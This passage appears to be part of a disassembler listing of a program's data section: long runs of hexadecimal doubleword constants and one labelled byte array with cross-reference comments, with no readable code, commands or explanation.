		dd 7C0719C4h, 4EC0A863h, 89B78Bh, 90236801h, 76D957EEh
		dd 9B1B4D00h, 9CD85CF5h, 53A00037h, 0C5582326h,	0A5003F8Dh
		dd 1B9181FCh, 0D0B64Ah,	1CD1932Dh, 0DEBE3846h, 26F6714h
		dd 0EF0E7998h, 0C00BF9DBh, 0E37BB01Bh, 0AF820025h, 0BC84A2B4h
		dd 750B1783h, 8C4FB136h, 1F8F72C4h, 802B2F67h, 5DB932AAh
		dd 1C058E87h, 706D156Eh, 3DE69807h, 0E0605C87h,	287E103h
		dd 0AD761A86h, 80808E81h, 657D976Ah, 5E0454BAh,	128D9CAFh
		dd 1E8F9888h, 401B3215h, 0A3441A79h, 200050DEh,	5366E72Bh
		dd 1D93C02Ch, 809542CEh, 0D0E8E03Dh, 50066465h,	0A4D98915h
		dd 196A0336h, 0FD5D259Dh, 0F86348E9h, 0B776B53Fh, 427FC61Fh
		dd 92F67A40h, 1EA066Ah,	4C447BD3h, 205AB50Dh, 5D7277C8h
		dd 0C2F0DC02h, 407DB10Ah, 0B7984h, 80B60125h, 8406966Dh
		dd 1981F58h, 32C25076h,	0B420F712h, 315A0039h, 0B04226E0h
		dd 634FFDF8h, 0A1B4EC00h, 1A8AF47h, 1C844667h, 929B623Eh
		dd 3601D8A8h, 58EF437Fh, 71D860h, 2B0100Dh, 36E0CFDFh
		dd 25D6FF00h, 0F242651Dh, 6D0000Ah, 18A4C512h, 470216Ah
		dd 0A5002EF4h, 938D0DCFh, 22C236h, 3BE76173h, 921DB7B2h
		dd 3AF1E117h, 3994EC00h, 0E02591ABh, 0A7400747h, 903D9530h
		dd 46C2D974h, 9C90AE7Ah, 0BF458001h, 22DC171Fh,	1FB3CFCCh
		dd 40114B42h, 69D07BBCh, 870062A9h, 492A1250h, 906EC8h
		dd 786586EFh, 0AEFF63E0h, 0BEAD3E1Ch, 33B2DC80h, 7EDAF040h
		dd 0E117001Bh, 0D0C2E9EDh, 1F00E724h, 2BD77574h, 8F9BDBh
		dd 0FFB43D57h, 32618C62h, 17007BF4h, 4778E79Ah,	2C903A4Fh
		dd 98D55Ah, 0EE30ABF8h,	8E003D55h, 0A54396B4h, 17FF085h
		dd 90878F1Ch, 0D8D945B0h, 0B12CC0D4h, 0BB40D811h, 2052B8h
		dd 0ADE3E4D2h, 8278C130h, 0C29C5Ch, 0C41A71E6h,	0A70698h
		dd 0C5646223h, 42CF8367h, 4C974Dh, 867889B3h, 5C6C02h
		dd 7DE2CC3Fh, 9A4198C2h, 0B155DC26h, 0A5CA7500h, 0F81BC7h
		db 8Ch
byte_520045	db 58h,	8Dh, 0D4h	; DATA XREF: ___:00437A58o
					; ___:00437A70o
		dd 5154D242h, 0B5E6DF98h, 3800FAE8h, 8CCF630Eh,	5887846Eh
		dd 20014F6Dh, 3A4D9F08h, 6A913014h, 7F221D3Ch, 681AA304h
		dd 0A0801BAEh, 0F728CFh, 0BF125CDh, 6535E170h, 42DC270Eh
		dd 0A2BBE78Dh, 23B356B0h, 0E5154C3Bh, 0CF169500h, 0EF872786h
		dd 0F1AE961Ch, 0EB4AC080h, 0E48B08Ah, 38411F99h, 0D89D0980h
		dd 0DC1424F5h, 4A800687h, 0D584003Bh, 4E3A20F8h, 6EE012h
		dd 0F4FCE2CEh, 557579DCh, 67621B00h, 46D22C9Dh,	0EA3B04E9h
		dd 87745673h, 2975C2C8h, 306BA0E1h, 32FFA61Ch, 0F2D081DCh
		dd 1120956Dh, 0C2E600A3h, 750214BDh, 0A5F4D876h, 3422D724h
		dd 0CF9EDB18h, 4A7A0062h, 199F55DDh, 0E1008609h, 22F27CFEh
		dd 723829E3h, 0B5DD01FFh, 7B2BBA98h, 8C76C0D6h,	0BBEA1400h
		dd 0E3C5374Dh, 64290026h, 0CC90B21Fh, 6C00FD57h, 0A4FA43C0h
		dd 0A1B10Eh, 0D906D699h, 0CE5987Fh, 57BEEC04h, 4580F6DFh
		dd 86FEDh, 6E7940DCh, 0CCEECE9Dh, 71EC53Eh, 0B181DE46h
		dd 3720EBE7h, 10814BAh,	0F87744F1h, 24FEE690h, 1D01A4CCh
		dd 9E723ECFh, 81F0D837h, 0E6CC1CA6h, 0E78741DAh, 216ACD5Ch
		dd 0BED8F4A8h, 27E36600h, 0EA9046DFh, 0CBB00EFh, 0FE2ADC0Eh
		dd 0E000FBACh, 0D8CFCDCAh, 0F167ADh, 1E66B827h,	9A7283C8h
		dd 8A103E17h, 6FDD3840h, 3B7820Fh, 0ACE51A1h, 7D53E54h
		dd 0ACC8DB10h, 88037CA8h, 36CB834Dh, 5457A072h,	0F0E37CFCh
		dd 2F22F8D2h, 94002877h, 3ECB68B2h, 49811A30h, 69A163h
		dd 9938782h, 18C161D7h,	0EC59E900h, 0F19B9991h,	4BB21CB6h
		dd 62C00D3h, 7487E25Ch,	1207B700h, 4F31F328h, 1AE81FDEh
		dd 0A1DB82Eh, 0E190077h, 0B0CA86B7h, 2983D905h,	601EC23Dh
		dd 2B6BC340h, 0A01DCh, 0C4D5C070h, 0DE93800Dh, 61007EE4h
		dd 2913C509h, 8B229Bh, 9C56B0E5h, 4085D3AAh, 0F7FC2B00h
		dd 57A67CDAh, 1ED472AFh, 0C0067652h, 0A490BBCBh, 0AD00E4EFh
		dd 55322AE6h, 6083F1h, 869958C7h, 0D7B9D933h, 2AE5E701h
		dd 1CBF6C97h, 0A08040D5h, 6C876ECh, 9013559h, 87131D8Eh
		dd 54F4E1E2h, 0A1430071h, 72DFD360h, 207016Fh, 297074A0h
		dd 2467DBA1h, 388DBCE0h, 3E00A339h, 77EF89E9h, 0A900AED5h
		dd 0A1DC881h, 0E0A658D2h, 0F2CB0EACh, 2D23A0FCh, 0BEE86ABCh
		dd 30015765h, 0DA77B36Fh, 0DEC4EA21h, 25E600B8h, 5C7BBD8Fh
		dd 0F976ACDFh, 1B0E1C00h, 9816C76Fh, 6CA0013h, 739955E7h
		dd 0D800D7FDh, 0C077837Dh, 8BE658h, 96F46F8Dh, 1A0766E4h
		dd 0D45DCF00h, 0C7235BB9h, 0A380000Eh, 4B33A702h, 0A407B417h
		dd 0D8792C6Fh, 923E52C0h, 0D22F0708h, 0F015194Eh, 78B1BFFAh
		dd 80EF143Ah, 0D0025805h, 14CD99F5h, 99636A3Ch,	45FE1C12h
		dd 0F4D8E4B0h, 7D20DAE8h, 81CC2890h, 397007F4h,	710A6A9Bh
		dd 883ACFD9h, 8866DE28h, 0D5848F05h, 0E9086928h, 297D0C49h
		dd 91924435h, 0DD519A62h, 228624D8h, 4D3C859Dh,	88B5140Eh
		dd 9DEA103Bh, 0A9219391h, 51C4323Ah, 0C23C822Eh, 9C052275h
		dd 2811AD23h, 10143251h, 21F662DFh, 0B2150801h,	99005691h
		dd 77E9AD48h, 5F00CB1Fh, 2D988B54h, 1E18Fh, 0FB596B84h
		dd 0BD528DFDh, 0A6FF8C00h, 0CDB0D2F6h, 3817009Ah, 63CD303h
		dd 15006169h, 7D08D134h, 97A9BBh, 0CBA1734Ch, 13E7CA49h
		dd 8B804E00h, 0BC07D8EBh, 0A29F0F7Ch, 0BF60649Ah, 0B8461F90h
		dd 78F9EA01h, 38F345E9h, 21973D4h, 12E22DC2h, 4C60BFD5h
		dd 2203E686h, 946A14ECh, 69481276h, 875A0105h, 0FC51FCF8h
		dd 8F24E34Dh, 0E200A429h, 0A811361Dh, 1F7677ACh, 96842D64h
		dd 977401A4h, 0EC8796B2h, 20C0AF99h, 80C00140h,	10AA6021h
		dd 5ACB93F4h, 8007193Dh, 9260F0DDh, 5EE746h, 0CE4A1590h
		dd 9D9CEB41h, 7813F170h, 4840533Fh, 0D7D13D5Fh,	4BBA00F7h
		dd 7BCBE9D6h, 42007C0Ah, 0FC3F21B9h, 70A35BB1h,	0D1EA006Fh
		dd 4C36F6E3h, 90EEC6F0h, 865939h, 60ACCF57h, 56AA5D6h
		dd 75F0418Eh, 5078C0BBh, 0D900BC9Ch, 0AAFACEE4h, 704A5C85h
		dd 0FBD7056Bh, 80EFB639h, 28E8BE38h, 8C9B6800h,	0A9C7E59Fh
		dd 870607F8h, 10A21547h, 0E24DF7CCh, 0CABF8200h, 8CAF5666h
		dd 0FDE70042h, 6EE34C5h, 0A500ED99h, 44CC6C19h,	2169BA2h
		dd 65098B14h, 74602F67h, 1800012Ah, 0C68134FEh,	26E1DEh
		dd 0C1525A53h, 0BD164933h, 9B8D0901h, 9A1CCF04h, 68717D8h
		dd 3DF1ACE4h, 7E0016BFh, 0F6671591h, 0FD1F3EFh,	59204D8Fh
		dd 8E122340h, 0E500E9BFh, 7E504E6Dh, 72BDFF2h, 7355A44Fh
		dd 858AF0C7h, 303F6FAh,	258BDCC9h, 0B8F5D84Ah, 8C273C84h
		dd 50FB6480h, 0E70723AFh, 0BC35E400h, 7C9098CEh, 790FF64Eh
		dd 25138DEh, 3DB1ACh, 6C4534CBh, 890056EFh, 0BD5A05CFh
		dd 0F82FFA48h, 0EA8B0053h, 0C1F7C6ADh, 0A2009C1Bh, 28C03384h
		dd 78CCF657h, 0BA7D0099h, 0DAFEAC32h, 0BD1E1C71h, 37DC7EA0h
		dd 6C162A00h, 8CB2ABh, 0D69D6F5Dh, 3A2F9883h, 0D2D52300h
		dd 0D954C611h, 7C570046h, 0A8724F75h, 9A009862h, 1B449ECAh
		dd 0B71E13h, 0E2EAC608h, 0A35F201Fh, 5C489F00h,	635A6BD2h
		dd 0A7900386h, 5DFACD8Dh, 2ABE1007h, 0CA102138h, 39657A05h
		dd 7009AFh, 0AC849FC9h,	0AAD3B315h, 12C2A116h, 58D62800h
		dd 10CA07Dh, 0E7015786h, 20839F8Fh, 0A700224Bh,	5F06B8FDh
		dd 2415BAh, 0FBC4049Dh,	0F9B3E62Eh, 0A8AB4F01h,	50FA74E0h
		dd 0E57D40D6h, 12A4001Fh, 823F3D4Bh, 8500F12Ah,	0C6DE8E37h
		dd 0FD799Ch, 1A8BD39Bh,	2245B1ADh, 24003A79h, 7B7ABBDCh
		dd 51AE16FEh, 51DCC2F0h, 1A92E86h, 3E1000B2h, 1C8BB75Eh
		dd 67BD0701h, 8072585Ah, 0C9A4D8h, 0BE46BB96h, 6814D0A5h
		dd 7B0AC40Ah, 5A1FFC13h, 0FC0FE49h, 9A180077h, 6E3443h
		dd 0E651B059h, 385433D0h, 52A70400h, 5F6125F8h,	0C76A1E3Ah
		dd 0D068C8h, 7B9B47BFh,	9168CFBDh, 60D96F05h, 3D80AE1Ah
		dd 5FD529h, 4AA551AFh, 0C9CF6454h, 56CED60Fh, 0D536408Bh
		dd 0F57BF3CBh, 137F30h,	7CA12E04h, 0B32B6977h, 0B4A5D800h
		dd 0B594A7FDh, 63650E1Ch, 0C74BE825h, 0CF2F0680h, 0A85C35F4h
		dd 138D3939h, 0AC0FB2B3h, 813F6080h, 0ECB8E7Dh,	476EC550h
		dd 54046F41h, 466CC805h, 4B42671Ch, 317948C0h, 12EDC572h
		dd 0A76D13h, 97658EC2h,	0BE00DB1Fh, 1EE6546Fh, 1F1229CCh
		dd 4091ABEBh, 2B430CA6h, 0FD00CB0Fh, 0A508A9FEh, 71C60E9Dh
		dd 0A19300F6h, 81166DDCh, 0B700DA3Ah, 6319CB13h, 1A58AC3h
		dd 25103B18h, 0D0FFCA96h, 0B4248746h, 0F600F8BCh, 77481494h
		dd 0F36305BAh, 0C4C590C4h, 736BC04Dh, 7600DCD9h, 31814A72h
		dd 165C2Dh, 1CEEA057h, 125E69AEh, 0A106CB00h, 7B19F532h
		dd 626B0045h, 0DAA2E69Dh, 49007352h, 0FBC0FA07h, 4E1C04h
		dd 0FD014AA4h, 30D50537h, 0F80071ECh, 0BCFB658Ch, 0B1069h
		dd 0C12254FAh, 0C7841532h, 0E91CE500h, 57CF56Fh, 0FC964FAEh
		dd 80423B71h, 73138F5Eh, 0E0F477h, 47EF9F69h, 0F010961Ah
		dd 5263D700h, 146D018Eh, 9B810F4Fh, 372020C3h, 0AF2875C1h
		dd 52342762h, 2AA8402Fh, 41D70074h, 0D42C171Fh,	531E1DD2h
		dd 0E7000305h, 54C80C50h, 580FE8Eh, 0EAACB7F2h,	3298C36Eh
		dd 4B7762C0h, 71B49100h, 0E6599851h, 0E4AE1DC9h, 2B2D406Dh
		dd 0B52ECE24h, 6145E700h, 60922870h, 0ADD00367h, 8A0BB28Eh
		dd 0F88E34C2h, 8D1B1460h
		dd 0AC004B19h, 0D1D4F161h, 7358DA32h, 4E3900B7h, 1B977638h
		dd 750F5CBAh, 0EF2B3649h, 0BE7405Bh, 9829B4A7h,	0EA3E0087h
		dd 0BC4FDAB5h, 470006E5h, 202BCBEFh, 1F9004ABh,	8224FC9Dh
		dd 98898DEAh, 0C9DDC880h, 91005A51h, 77250CF2h,	0A99560h
		dd 9BC7195Dh, 729F9D2Dh, 8A489700h, 70493616h, 0C19314FAh
		dd 0A00FF52h, 28FC2AD6h, 2D032F46h, 0A8F5E3C5h,	0E65381FFh
		dd 94C3DCF3h, 30F7B0E1h, 102E267Dh, 0AA5900BCh,	0EB13CC06h
		dd 0A172D11Dh, 2807CDEh, 342CFC4h, 4873F0A2h, 0F1003C26h
		dd 0B61C507h, 0E304EBB2h, 781116DEh, 0AE47B080h, 514E0694h
		dd 5680BF6Eh, 1B152C00h, 3BEFE421h, 7D703CDDh, 1AE741Eh
		dd 710CBF0Fh, 0D24C70E2h, 0D7767B00h, 0A3C9119Fh, 0A512008Dh
		dd 0C4F2DD3Dh, 7C1D5A44h, 646CAE9Ah, 0A72F3C00h, 161D0664h
		dd 7022D92h, 8069BFC4h,	895B207Bh, 0E5FE0978h, 0C11C6FF2h
		dd 0FC03ADCh, 9CB22D72h, 1E18754Fh, 4089F5D4h, 1D44E69Ah
		dd 0AF03DF63h, 6877AD2Ch, 6FF9B832h, 38DE006Dh,	0D5951B84h
		dd 0B8004EF1h, 5415204Fh, 3CA79B19h, 0EA00D845h, 0E92787FEh
		dd 694C58BEh, 322400AFh, 4C60032Eh, 79D87C47h, 31F43Ch
		dd 8F937B8Ah, 34D316C9h, 57745200h, 0DFAC0B76h,	6062FC1Eh
		dd 9517B8BEh, 0CB0087D0h, 21F8B70Ah, 351FBFh, 0CAC9225Dh
		dd 0ED86E550h, 54B36200h, 520A4CCEh, 61AD00E9h,	550D913Dh
		dd 8A000378h, 0FAD64805h, 439515Eh, 1202E432h, 0C0C7C09Bh
		dd 0FDEAB58Ch, 0C6436400h, 580136Bh, 2E924C96h,	50238900h
		dd 1B4A2656h, 0C7343B00h, 5A3AD6C2h, 5D9B0107h,	0B00382B4h
		dd 23C2302Eh, 0BBF7481Eh, 81A4E080h, 16EA0E96h,	0EBBA3F59h
		dd 0C05710h, 57F4E87Fh,	7F90E43Dh, 8A90A0E1h, 39EC00A9h
		dd 0BF830B4Bh, 4F008E9Fh, 6A659DD6h, 1DFBE934h,	802D3052h
		dd 117142BCh, 1000B8F9h, 6245149Fh, 5E8B87h, 0B9CB6C3Eh
		dd 436A252Ah, 9ADCC704h, 37C364ADh, 0F3FDC852h,	50CE0027h
		dd 24480F88h, 400712Ch,	3AD3DEEDh, 2BC03Ch, 8039959Ah
		dd 62794602h, 0A72C5B03h, 0A16A37B0h, 54203CC4h, 0CE1A10D0h
		dd 6748007Ah, 0D4C6DC3Bh, 988007C2h, 0C3687B38h, 22F02F07h
		dd 0A4001DBBh, 7643741Eh, 5E770B1h, 0EAF2E527h,	58FC046Dh
		dd 0F4588845h, 7CA02340h, 35703C4Fh, 3E0D28F2h,	76750098h
		dd 641CEEEh, 0FA00601Eh, 28CED52h, 1EA3E340h, 40DAA03Ah
		dd 2788854Ch, 450024C7h, 2081B7BBh, 1808223Dh, 0C848CEBDh
		dd 0A00A15Dh, 273CB5B8h, 3056BEh, 7E7A7F19h, 0D315F48Eh
		dd 74BD2B1Dh, 580F349Ch, 4BAD0349h, 8FB800C0h, 0A3414F9Bh
		dd 5E002833h, 0C8B4703h, 79406A75h, 0BF560084h,	9D8DE7C0h
		dd 340E0821h, 0AF72245Bh, 5CD667C4h, 0EC705600h, 31741DD1h
		dd 58E4B0h, 9E9A3B3Ch, 0D4394B65h, 0F3778386h, 0E8C47513h
		dd 9083FFD8h, 0A36B0034h, 0C88E6CA6h, 1E005CB2h, 72756A66h
		dd 9BAC40h, 62D3F38h, 61D0D3A4h, 845B9701h, 81DC96E2h
		dd 73E090E9h, 18189051h, 599BEE22h, 0A43E6445h,	60CC24A0h
		dd 0F902A282h, 0DE5C485Ch, 9EC20034h, 0CFA4DF53h, 181EC8A5h
		dd 0EE400226h, 0CE3D8F88h, 91E0213h, 0BD8B3996h, 290F5840h
		dd 0EC406277h, 0A5B908C0h, 1201440Dh, 0AAA4BC82h, 51CF4h
		dd 0D8075E4Bh, 0AC96B8E5h, 8614E600h, 0DC3A8706h, 3280B44h
		dd 4F802E42h, 0DBD08EA4h, 0FA74831Fh, 5F32E041h, 0F440417Bh
		dd 4915D9F8h, 9280587Ch, 3644E97h, 0EF716100h, 7CDFC731h
		dd 336701BCh, 0D4E46AE5h, 5C34C090h, 0C287A0C1h, 8ED0EDD9h
		dd 0EC0C072Ch, 0D086139Dh, 6B49F7C3h, 0C0D2E200h, 0E416F36Fh
		dd 0E540009Eh, 2895BFA1h, 921CDE8Ch, 1FC16799h,	8FAD192Fh
		dd 0DF6B489Fh, 98180DFh, 594A5EEBh, 0E2E7DE18h,	54694621h
		dd 3934CCD6h, 67244137h, 0FD5D00B9h, 64AF9E2Eh,	7ED25702h
		dd 805AB074h, 0A9760DD8h, 0FD330005h, 0A355CA54h, 3D004142h
		dd 0A68A9628h, 5816E4h,	5E2305EEh, 0C75A3C59h, 0FADDA1Ch
		dd 6B1BDC80h, 1886FAC5h, 809E8CB3h, 0B21825EEh,	9811F3AEh
		dd 8ED0053h, 34FEBE14h,	471688D5h, 5D012D78h, 49B748CAh
		dd 638D42C2h, 0F589C860h, 0F6FCCEh, 947D87B2h, 0BB1B63C8h
		dd 3E76D700h, 0A5D27425h, 7BFD7E5Fh, 88930168h,	0B1F3588Ah
		dd 500BF72Fh, 84B7C5C1h, 0CCC0DDC5h, 2E9D5Ch, 0EA789956h
		dd 4422C6F5h, 5EA7D4A8h, 75009092h, 0CC7C0F3Ah,	149BD0Dh
		dd 0D1786AD4h, 818C4A15h, 6CD89AD0h, 0B850B809h, 44C1754h
		dd 0F2570BB5h, 0B9F481A4h, 0EF01F469h, 0E0586C00h, 0AC2C48EAh
		dd 0C320676h, 78B8CCA3h, 5A742607h, 0E1A0385Bh,	34777CAh
		dd 0F9204D5Eh, 6000B767h, 1A39E7A1h, 868AD5h, 2F0C5D89h
		dd 4393B8E3h, 427ED771h, 70CA8107h, 0C5E0087Ah,	457178h
		dd 0C9CCEFBFh, 35EB5C17h, 0B6EED800h, 0E1887A5Ah, 9B6E3B86h
		dd 0B4EC9Ch, 0FD931710h, 64B2490Bh, 835CD900h, 1E023BCBh
		dd 959C0021h, 40FEF0EDh, 30E5A48Bh, 0D3079FC7h,	87D855A1h
		dd 0B09CF751h, 0F2B6C4h, 4846164Dh, 0D651E4FBh,	0BF00A4E8h
		dd 2114CF5Bh, 2C38754h,	45B1AA75h, 888B8C31h, 0C44C1100h
		dd 0BE13880Ah, 7003E39Ah, 893FD463h, 0A02061D8h, 0DF044877h
		dd 91702D00h, 5C5E06FAh, 0BE224D01h, 0F3B4AEB5h, 240060h
		dd 5DC8960Ch, 2051551Ah, 8B712104h, 64803663h, 3FCB5FEh
		dd 0A5C0243Fh, 0C88AA1BCh, 29ECD8A0h, 6F121E31h, 5800B2B9h
		dd 0F7E95A1Fh, 899140F6h, 0A00A7B8h, 477FE43Ah,	0B1C18Dh
		dd 0F9FCC75Eh, 536414A4h, 4ED13400h, 0F555CFC3h, 0D7E11F23h
		dd 9B5E8FA0h, 41B8ED40h, 0FA008360h, 0C8357DEFh, 572D7Ah
		dd 318E7F1Eh, 81E3FCCDh, 80ACA33Bh, 0FAA0BABFh,	0EE958CCFh
		dd 551B00A9h, 163474CEh, 270017BDh, 83A3588Bh, 7510ABh
		dd 96932FEDh, 1FA413CDh, 8702900h, 7F557354h, 1FA57CBFh
		dd 404F493Dh, 0AEE94183h, 91F2E565h, 0A2794700h, 4DFE19ECh
		dd 0A03000ADh, 0DCFB42AAh, 0CF182705h, 58F61B3Eh, 4FF69Dh
		dd 8133E152h, 14F572EDh, 0DEBB8301h, 8497FD61h,	6FFC9881h
		dd 6048951Ch, 0F5073A02h, 0F6A69D5h, 799719D0h,	0F4047CB6h
		dd 0D1533A4Dh, 0ACD9F487h, 9607F16h, 0BFE117E2h, 5A96B500h
		dd 368E0AD6h, 3C72F60Fh, 68006431h, 0B507CF85h,	4A1D3DB8h
		dd 1E40E7E9h, 36C10D62h, 0E84439DFh, 0A5E65B80h, 1F1C89C2h
		dd 24904A00h, 0A8931225h, 97D0EF19h, 2111000Fh,	18AB88EFh
		dd 0D23DB89Fh, 80BE3030h, 2BE587h, 0CBDD896Dh, 0D40C238Ch
		dd 0E89B0100h, 0FDC04C10h, 4F58FEC5h, 924EE06Ch, 0C1ADD24h
		dd 0D9B68700h, 947AD5h,	4A95F518h, 0D29F4593h, 580C623Ah
		dd 960A0967h, 0AF7E00EAh, 1721D5Bh, 5362CD78h, 0E8A7B143h
		dd 0EF0065BEh, 5EC1B2B5h, 13C3BBh, 4D1C5363h, 0EA0D9A25h
		dd 3437DD0Ch, 3A031818h, 0B0837EF2h, 0BB193CBh,	806CB2B9h
		dd 0DCE508D0h, 394299Fh, 4F51A35Eh, 97E87E3Bh, 4D00EADEh
		dd 4E72DAEDh, 1806BD8Dh, 0E0C887F5h, 394C18AFh,	0AD09506Bh
		dd 0C602DD0Eh, 0DCFCC038h, 7D7B194h, 70325DCAh,	0AF2580F9h
		dd 69005E50h, 0EEBFA0F5h, 840256h, 820EB987h, 59AF2FF4h
		dd 0F8945B00h, 0D6D3E016h, 69120239h, 0C299926h, 4B0D2960h
		dd 0D47C6014h, 0A30073A4h, 0E5EB07B9h, 12C07002h, 0FE72F4h
		dd 2B95D185h, 7848E70Ch
		dd 68C20944h, 59382018h, 84FC12h, 903F34B1h, 4D6A9CD8h
		dd 0B32EBB00h, 0A8834619h, 7B100084h, 7A26595Dh, 4200B2EFh
		dd 0EACB4F9Ah, 7AD5CF0Eh, 972B0582h, 0C65D70h, 2702AD8Ch
		dd 0C30E29E7h, 0E0FA408Eh, 8D59694Fh, 0C77B38C8h, 0ABB49980h
		dd 71483DD0h, 1950BD70h, 9601C64Ch, 476366EEh, 72D4F260h
		dd 44752454h, 0E3410088h, 24AD3357h, 0A9ECB703h, 0C089841Dh
		dd 56E6C6h, 0F68103BAh,	0C334C8B0h, 246F8200h, 0FA941922h
		dd 606C03B1h, 0EC1E982Eh, 773CEAC0h, 1A7C0C00h,	40476B6Dh
		dd 0F8C300FCh, 0E7C8093Eh, 8000BA1Fh, 9FF33DB1h, 721538Bh
		dd 48E4EDAFh, 22BE609Ah, 6314696Ah, 480C9FEh, 29352553h
		dd 0C8151AC3h, 1F61EEECh, 0DFFD8F64h, 99DCF0h, 45542E4Ah
		dd 0A60059C8h, 417724Ch, 2EBD3ADh, 8BB80E6Ah, 97E008CDh
		dd 0C90010Ch, 5D32D800h, 229A4A16h, 0F53C0087h,	89DC9AEh
		dd 923EBC0Eh, 0CB6E8019h, 0A8D7C4A1h, 415900E7h, 9DBFE386h
		dd 492C0AAh, 0FFDEE200h, 0FB410D4h, 0AD3A0005h,	0D0BABDA8h
		dd 8C00D18Ah, 24D4B9E6h, 0E801403Fh, 0BC7000FAh, 8B928129h
		dd 0E90037DFh, 3C8567E6h, 0FB684Dh, 1713A8DDh, 7550551Eh
		dd 0B5062100h, 592D58E8h, 4E78C956h, 0D2F78B8h,	0E4F22E00h
		dd 3926EC80h, 93703ADh,	0D284E061h, 4C400F90h, 0B229CE13h
		dd 0D6433804h, 8E859C80h, 82840776h, 8669BA6Ch,	0F500A8BCh
		dd 0AFF08F04h, 4D33DFE2h, 1400787Ch, 1E59641Dh,	0B21D8AEEh
		dd 0C41FB2Eh, 0C74F0856h, 90E00970h, 0D639008Fh, 0E67390DEh
		dd 0D012C2E4h, 0FBC4C6h, 0B3BE8C96h, 0B60008D8h, 294C033Bh
		dd 7D4E2BDBh, 0B09801C6h, 60A3CFA1h, 19F08157h,	0C728BDC4h
		dd 745F60h, 2D4E01C1h, 0EE35FF29h, 84000FF8h, 89F49A37h
		dd 0EEE51656h, 2D803B43h, 11FCFE00h, 28FD6D3Dh,	0EBE9FA00h
		dd 849EB172h, 0EA8102E0h, 0BB8723FCh, 0F440F40h, 0F616FD13h
		dd 121A0C00h, 70DB16Ah,	1F3E96FFh, 77707041h, 0BC751CAEh
		dd 0B8205338h, 54E689C0h, 9A3B80B9h, 5501538h, 770DCA66h
		dd 939000ECh, 0C2D9B0F3h, 83CFA500h, 9E74A25Bh,	0A9580086h
		dd 419FB757h, 0E12C954Dh, 7A005151h, 0C98D89CBh, 2ED40034h
		dd 2C7882D7h, 0F63E8064h, 41308083h, 0E8EC8FF5h, 0AE3200A5h
		dd 86ABBA3Bh, 5D00141Eh, 0F9655436h, 0FCF14397h, 0BE77005Ah
		dd 0F4C6701Bh, 0D7009ABFh, 2CC9579Eh, 0EDB5AEh,	276315CEh
		dd 52BEE17h, 481A4Ch, 722287C5h, 678526A8h, 80124Ch, 675BE70Dh
		dd 77005DB0h, 57D383E2h, 7022591h, 2E88DDA6h, 68FA50F5h
		dd 0DC4821EEh, 81CA38F7h, 0A08960A4h, 0F047F664h, 3BAF96E0h
		dd 8E0C0270h, 1BE7BADEh, 67814857h, 89560753h, 0D0F12236h
		dd 92D6C3E9h, 370068B0h, 3EB5CB1Eh, 1C80C6F5h, 0C9C15F23h
		dd 0D01BBA70h, 8C40128Ah, 34E6D817h, 1C8754Ch, 223AE8B8h
		dd 8C20C041h, 0BCEA050Ah, 81F6A21Bh, 11FB39C4h,	0C8320655h
		dd 9CD0D200h, 1B52F248h, 0D8895A0h, 20932D00h, 51EC5663h
		dd 0E4EA2C01h, 421ED8h,	94DFB8ABh, 0BB4C7A21h, 0E0EB7110h
		dd 54E2D75Fh, 333A5D00h, 2691AC5h, 0B4FEC561h, 0B3D40236h
		dd 23018828h, 0F9D4F68Bh, 8FBC000Bh, 76E4AD34h,	0E05014E1h
		dd 0C800AE80h, 0A6245821h, 0F2B29585h, 0A09C00F8h, 9259649h
		dd 3100F7E1h, 4E479BC9h, 613772h, 0AC85BC32h, 6D973E2h
		dd 348B2B00h, 0DBC0D2C1h, 0FD1B80C6h, 0B481DD00h, 4A60BFB2h
		dd 0BD290E27h, 8800FFE8h, 119EEBEDh, 4435F00h, 647B31A0h
		dd 5C4A1F39h, 0A2EA80ECh, 0FF95027h, 28964104h,	0B9870349h
		dd 0C502FB02h, 0B84F14D4h, 0E1771480h, 0C00CD82h, 92E398A5h
		dd 24B39632h, 0CC0836h,	0F02656DAh, 98776DF6h, 94DE8400h
		dd 0F1E7626Eh, 1D47CEFh, 3C56DF2Bh, 2059F69Ch, 2D00C7B8h
		dd 0E40E7B0Ah, 0BF5783Bh, 4C97E194h, 597E0100h,	0F1007F40h
		dd 0E5AD852h, 82E469h, 1F776812h, 0A7EC79EFh, 3739861Fh
		dd 0FD225B43h, 3518C876h, 8FF40063h, 994BE16Eh,	0C80002BEh
		dd 0FD7AC564h, 0CD51B9h, 46664D52h, 0C6A1C9Ah, 0DDA15517h
		dd 92AA9400h, 312CED3h,	0B31416C1h, 53C0BD39h, 240037ABh
		dd 6B25031Dh, 0E2DA407Bh, 9FF0A2h, 3A189BFFh, 7060A72Fh
		dd 20245500h, 0F384FBCAh, 386500B5h, 2756E18Fh,	2639449Dh
		dd 0E5B702A6h, 0E4ACCCA3h, 116E2474h, 713607BAh, 0CB573021h
		dd 0C20053C9h, 0B1FE5FF4h, 1544A74h, 0BEF804EAh, 0F05BCE76h
		dd 38728193h, 1903198h,	0C5B94E0Eh, 94D320A8h, 38337AE0h
		dd 0B50EFA29h, 650152C3h, 70EE678Dh, 4F009112h,	106ABE07h
		dd 0CD9B5Fh, 659EC862h,	0CF38DEB5h, 8F131D00h, 272A7909h
		dd 523F0078h, 0F7535D97h, 0F50FF4D8h, 0C3AC2DA4h, 0A8D4393Eh
		dd 0E85791h, 0D5C5F33Ch, 0D9525583h, 8D0BCD1Eh,	42F25140h
		dd 3A09DBABh, 0AA00456Eh, 672E8049h, 1B77A1CFh,	70178D75h
		dd 4000FBC7h, 4D16127h,	38890C3h, 0AA9C25A3h, 0AFAB01F8h
		dd 35407BEAh, 4A007275h, 1577E746h, 73049Dh, 4593269Eh
		dd 69781374h, 8D9C0100h, 9DCBD179h, 0FC980049h,	0AC865AADh
		dd 0BD00AA3Bh, 0B5B2C4DEh, 3EE62CC6h, 44CD160Ah, 7F7AA400h
		dd 2AA46D5h, 55C1B501h,	0C6A07903h, 7FAE99B8h, 81FC9F50h
		dd 9D0371CFh, 72A0FBC1h, 7E6106A4h, 0AF4A0A21h,	91D05980h
		dd 0C72CDC5Fh, 8D185D72h, 6F426DA5h, 0DA4B002Dh, 8C262246h
		dd 0DB0082A1h, 0B9CE30Dh, 0B8F85C84h, 4AA14C3h,	1F015415h
		dd 0A4B47D5Dh, 0FE384007h, 540B7B2Fh, 80A2B1F3h, 5F5A5B28h
		dd 0F8DF1962h, 0E002305Ch, 0EB30D824h, 4447D1C9h, 0D5C08355h
		dd 0A73DA9E6h, 0D4AA072Dh, 4AF5872Fh, 0E5D91002h, 0CEA780C9h
		dd 762371h, 2084D198h, 1D8287Dh, 77001578h, 850B2452h
